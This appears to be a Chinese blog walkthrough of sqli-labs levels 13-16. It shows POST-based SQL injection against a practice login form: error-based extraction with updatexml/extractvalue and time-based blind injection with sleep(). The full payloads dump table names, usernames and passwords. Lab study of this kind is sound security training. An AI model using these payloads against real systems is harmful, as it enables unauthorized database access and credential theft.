SQL-labs13-16闯关记录
http://127.0.0.1/sqli-labs/less-13/
基于POST单引号双注入变形
1,依然是一个登录框,POST型SQL注入

2,挂上burpsuite,然后抓取请求,构造请求判断漏洞类型和闭合条件
admin' 发生了报错,根据提示闭合方式是('')

admin') # 不发生报错,说明闭合方式正是('')
3,然后就是判断数据表的列数
admin') order by 2 #

admin') order by 3 #

说数据表不存在第三列,那么数据表就只有两列
4,然后使用union select操作符判断回显点,发现没有反应。使用报错函数进行报错注入,爆出数据库名
1')and updatexml(1,concat(0x7e,(select database())),3)#
1')and extractvalue(1,concat(0x7e,(select database())),3)#

再爆出数据库下数据表名
1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#
![]()
1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))#
![]()
1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#

整理得到数据表有emails,referers,uagents,users。然后再爆出users表的字段
1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1)))#

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1)))#

然后再爆出用户名和密码
1')and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#
1')and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#

这个时候就可以直接拿intruder模块进行爆破了

偏移量作为变量,字典选择0-9

爆破出password也是同样的操作

http://192.168.99.74/sqli-labs/less-14/
第十四关 基于POST双引号双注入变形
payload:
admin"
admin" order by 2#
admin" order by 3#
1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#
1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#
1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))#
1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#
1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1)))#
1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1)))#
1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1)))#
1"and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#
1"and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#
http://192.168.99.74/sqli-labs/less-15/
第十五关 基于POST数值型注入
本关没有错误提示,那么我们只能靠猜测进行注入。这里我直接从源代码中看到了 sql 语句
@$sql="SELECT username, password FROM users WHERE username='$uname' and
password='$passwd' LIMIT 0,1";
sql查询语句这里对 id 进行'id'的处理。
本关我们利用延时注入进行。正确的时候可以直接登录,不正确的时候延时 5 秒。
猜测数据库名长度为8(在burpsuite Intruder模块中8设置为变量):
uname=admin'and If(length(database())=8,1,sleep(5))#&passwd=11&submit=Submit

字典选取1-9

猜测数据库名第一位为s(ASCII表中a-z对应97-122):
uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit
由此根据排列payload1的顺序就能得到数据库名

猜测数据表名第一位为e(ASCII表中a-z对应97-122):
uname=admin' AND If(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,1,sleep(1))#&passwd=11&submit=Submit

所以第一张数据表就是email,以此类推,递增改变limit 0,1当中的0就能爆破出所有的数据表名:emails,referers,uagents,users
猜测数据库security下数据表users字段的第一位是否为a(ASCII表中a-z对应97-122):
uname=admin' AND If(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

所以第一个字段就是id,递增改变limit 0,1当中的0就能爆破出所有的字段,id,username,password
猜测 security 数据库下 users 表的 username 字段(第二个字段)的第一条数据的第一个字母是否为 'a'
uname=admin' AND If(ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

得到第一个用户名Dumb,同理可得,由此爆破出密码
uname=admin' AND If(ascii(substr((SELECT password FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit
http://192.168.99.74/sqli-labs/Less-16/
同样的使用延时注入的方法进行解决。提交的测试payload(条件为真会5s延迟):
admin and if (1=1,sleep(5),0)
admin' and if (1=1,sleep(5),0)
admin') and if (1=1,sleep(5),0)
admin" and if (1=1,sleep(5),0)
admin")and if(1=1,sleep(5),0)
所以语句的闭合方式就是("admin"),区别于less-15
判断数据库名长度为8
uname=admin")and If(length(database())=8,1,sleep(5))#&passwd=11&submit=Submit
猜测数据库名第一位为s(ASCII表中a-z对应97-122):
uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit
猜测数据表名第一位为e(ASCII表中a-z对应97-122):
uname=admin") AND If(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,1,sleep(1))#&passwd=11&submit=Submit
猜测数据库security下数据表users字段的第一位是否为a(ASCII表中a-z对应97-122):
uname=admin") AND If(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit
猜测 security 数据库下 users 表的 username 字段(第二个字段)的第一条数据的第一个字母是否为 'a'
uname=admin' AND If(ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit
相关文章:
SQL-labs13-16闯关记录
http://127.0.0.1/sqli-labs/less-13/ 基于POST单引号双注入变形 1,依然是一个登录框,POST型SQL注入 2,挂上burpsuite,然后抓取请求,构造请求判断漏洞类型和闭合条件 admin 发生了报错,根据提示闭合方式是(…...
2025-03-04 学习记录--C/C++-PTA 习题5-4 使用函数求素数和
合抱之木,生于毫末;九层之台,起于累土;千里之行,始于足下。💪🏻 一、题目描述 ⭐️ 二、代码(C语言)⭐️ #include <stdio.h>// 函数声明:判断一个数是…...
Mybatis-Plus 插件机制与自定义插件实现
1. Mybatis-Plus 插件系统概述 Mybatis-Plus 提供了一个简单而强大的插件机制,允许开发者在 MyBatis 执行 SQL 的过程中插入自定义逻辑。通过插件机制,用户可以实现对 SQL 执行过程的拦截和修改。Mybatis-Plus 插件基于 MyBatis 的拦截器模式进行实现&a…...
Virtuose 6D TAO HF力反馈系统:加强力遥操作主手
Virtuose 6D TAO是一款搭载六主动自由度的力反馈设备,该产品自带被动式夹持器,工作空间大,可与EtherCAT接口通信,是轻松控制从机械臂的首选产品,特别适合工业遥操作、核工业遥操作等应用。 产品特点 ▪ 六主动自由度、…...
使用AI后为什么思考会变得困难?
使用AI后为什么思考会变得困难? 我总结了四篇近期的研究论文,来展示AI是如何以及为什么侵蚀我们的批判性思维能力。 作者使用AI制作的图像 前言:作者在这篇文章中,借AI技术的崛起,揭示了一场悄然发生的思想博弈。表面…...
【Resis实战分析】Redis问题导致页面timeout知识点分析
事故现象:前端页面返回timeout 事故回溯总结一句话: (1)因为大KEY调用量,随着白天自然流量趋势增长而增长,最终在业务高峰最高点期占满带宽使用100%。   (2&#x…...
【金融量化】Ptrade中交易环境支持的业务类型
1. 普通股票买卖 • 特点: 普通股票买卖是最基础的交易形式,投资者通过买入和卖出上市公司的股票来获取收益。 ◦ 流动性高:股票市场交易活跃,买卖方便。 ◦ 收益来源多样:包括股价上涨的资本利得和公司分红。 ◦ 风险…...
FlashMLA(DeepSeek开源周,第一个框架):含源码分析
1. 概述 FlashMLA 是由 DeepSeek 原创开发的一种深度学习框架,专门用于加速多头注意力机制(MLA)架构的推理过程。它通过优化内存管理和计算效率,显著提升了模型在高性能 GPU 上的推理速度。FlashMLA 主要适用于 DeepSeek 的架构模…...
点大商城V2-2.6.6.1全能版源码+最新排队免单插件功能
一.介绍 点大商城V2独立开源版本,版本更新至2.6.6,系统支持多端,前端为UNiapp,多端编译。 二.安装环境: Nginx 1.22PHP7.3MySQL 5.7 推荐PHP 7.3(不得大于此版本,否则容易出bug) …...
行为模式---命令模式
概念 命令模式是一种行为设计模式,它的核心思想就是将请求封装为一个对象,此对象包含与请求相关的所有信息。可以用不同的请求对客户进行参数化。命令模式通过将请求的发送者和接收者解耦,支持请求的排队、记录、撤销等操作。 使用场景 1、…...
Graph RAG 迎来记忆革命:“海马体”机制让问答更精准!
随着生成式 AI 技术的快速发展,RAG(Retrieval-Augmented Generation)和 Agent 成为企业应用大模型的最直接途径。然而,传统的 RAG 系统在准确性和动态学习能力上存在明显不足,尤其是在处理复杂上下文和关联性任务时表现不佳。近期,一篇论文提出了 HippoRAG 2,这一新型 R…...
Linux——基本指令
我们今天学习Linux最基础的指令 ls 指令 语法: ls [选项] [⽬录或⽂件] 功能:对于⽬录,该命令列出该⽬录下的所有⼦⽬录与⽂件。对于⽂件,将列出⽂件名以及其他信 息。 命令中的选项,一次可以传递多个 ,…...
【C++】模板编程入门指南:零基础掌握泛型编程核心(初阶)
文章目录 一、泛型编程二、函数模板1. 函数模板的概念和格式2. 函数模板的原理3. 函数模板的实例化隐式实例化显式实例化 三、类模板 一、泛型编程 泛型编程就是编写与类型无关的通用代码,是代码复用的一种手段,模板是泛型编程的基础,可能不太…...
React实现lottie文件预览(可识别json文件或压缩包带资源的素材)
React实现lottie文件预览(可识别json文件或压缩包带资源的素材) 🔴 1、React实现lottie文件预览,所用到的第三方库 🟢 1.1、 react-lottie jszip-syncnpm install react-lottie jszip-sync // 或者yarn add react-…...
网上打印平台哪个好用?网上打印资料推荐
网上打印平台哪个好用 随着数字化办公的普及,网上打印平台因其便捷性和经济性而受到越来越多人的青睐。无论是学生、上班族还是个人用户,在需要快速打印资料时,一个好用的在线打印服务可以大大节省时间和成本。 那么,如何选择一…...
Mac远程桌面软件哪个好用?
远程桌面软件能帮助我们快速的远程控制另一台电脑,从而提供远程帮助,或者进行远程办公。那么,对macOS系统有什么好用的Mac远程桌面软件呢? 远程看看是一款操作简单、界面简洁的远程桌面软件,支持跨平台操作࿰…...
【回溯 力扣】17. 电话号码的字母组合
题目 17. 电话号码的字母组合 思路 定义数组存储数字对应的字符串,本题回溯时为index1,因为下一个数字选的是下一个字符串,前两题都是属于同一个字符串。 代码 class Solution { private:vector<string>result;string duiying[10]{"&quo…...
【基础1】冒泡排序
核心思想 冒泡排序是通过相邻元素的连续比较和交换,使得较大的元素逐渐"浮"到数组的末尾,如同水中气泡上浮的过程 特点: 每轮遍历将最大的未排序元素移动到正确位置稳定排序:相等元素的相对位置保持不变原地排序…...
C#—Settings配置详解
C#—Settings配置详解 在C#项目中,全局配置通常指的是应用程序的设置(settings),这些设置可以跨多个类或组件使用,并且通常用于存储应用程序的配置信息,如数据库连接字符串、用户偏好设置等。 Settings配置…...
详解DeepSeek模型底层原理及和ChatGPT区别点
一、DeepSeek大模型原理 架构基础 DeepSeek基于Transformer架构,Transformer架构主要由编码器和解码器组成,在自然语言处理任务中,通常使用的是Transformer的解码器部分。它的核心是自注意力机制(Self - Attention),这个机制允许模型在处理输入序列时,关注序列中不同位…...
PyCharm中通过命令行执行`pip`命令下载到哪里了:虚拟环境目录下
PyCharm中通过命令行执行pip命令下载到哪里了:虚拟环境目录下 在PyCharm中通过命令行执行pip命令安装工具包,包的下载位置取决于多种因素 虚拟环境 如果项目使用了虚拟环境(通常是推荐的做法): Windows:虚拟环境通常位于项目目录下的.venv文件夹(默认情况)或你指定…...
Golang的性能分析指标解读
Golang的性能分析指标解读 一、概述 语言)是一种由Google开发的开源编程语言,以其并发性能和高效的编译速度而闻名。对于程序员来说,了解如何对Golang应用程序进行性能分析是非常重要的,因为这能帮助他们发现潜在的性能瓶颈并对其…...
QT 作业 day4
作业 代码 Widget.h class Widget : public QWidget {Q_OBJECTpublic:Widget(QWidget *parent nullptr);~Widget();private slots:// 槽函数void on_listWidget_itemDoubleClicked(QListWidgetItem *item);private:Ui::Widget *ui; }; #endif Widget.cpp Widget::Widget(QW…...
力扣刷题——4.寻找两个正序数组的中位数
题目要求在两个有序数组中找到中位数。由于时间复杂度要求为 O(log(mn)),因此不能简单地将两个数组合并后再找中位数,而是需要用二分查找的思路来解决。 解决思路:二分查找 将问题转化为在两个有序数组中寻找第 k小的数,其中 k 是…...
redis 与 DB 的一致性 7 种策略
为什么要使用 redis 做缓存?封底估算为什么是单行数据的QPS,而不是总的? 什么时候使用DB,Redis,本地缓存 数据的分类一致性的方案1. 先清除Redis,再更新 DB2. 先更新DB,再清除 Redis使用场景: 3. 延迟删除与延迟双删使用场景 4. 监听 binlog 清除5. 双写使用场景: 6. 监听bin…...
Docker安装Redpandata-console控制台
介绍 Redpanda控制台,这是一个功能强大的Web UI,用于管理和监控您的Redpanda 集群。探索实际示例和场景,以帮助您了解如何利用 Redpanda 控制台实现不同的用例,包括数据可观察性、Redpanda 管理、访问控制和连接。 可对Redpanda…...
【自学笔记】NoSQL基础知识点总览-持续更新
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 NoSQL基础知识点总览一、NoSQL简介二、NoSQL数据库类型三、NoSQL数据库特点四、MongoDB基础示例1. 安装MongoDB2. 启动MongoDB服务3. 使用MongoDB Shell4. 创建数据…...
专业 英语
文章目录 1.计算机(1)计算机组成原理(2)计算机网络(3)数据库(4)编译原理(5)编程词汇(6)开发术语(7)芯片(8)嵌入式硬件(9)职场(10)软件(11)论文(12)深度学习 DL(13)计算机视觉 CV(14)自动驾驶(15)自然语言处理 NLP(16)计算机图形学(17)Linux 2.数学3.机械、材料5.医药/护肤6.奢侈…...
【分享】网间数据摆渡系统,如何打破传输瓶颈,实现安全流转?
在数字化浪潮中,企业对数据安全愈发重视,网络隔离成为保护核心数据的重要手段。内外网隔离、办公网与研发网隔离等措施,虽为数据筑牢了防线,却也给数据传输带来了诸多难题。传统的数据传输方式在安全性、效率、管理等方面暴露出明…...
Docker创建自定义网桥并指定网段
前言 docker0是Docker默认网络的核心组件, 通过虚拟网桥和NAT技术, 实现了容器间的通信以及容器与外部网络的交互。然而, docker0网段是固定的(通常是172.17.0.0/16), 为了更灵活地管理容器网络,Docker支持创建自定义网桥,允许用户指定网段。 例如, 在…...
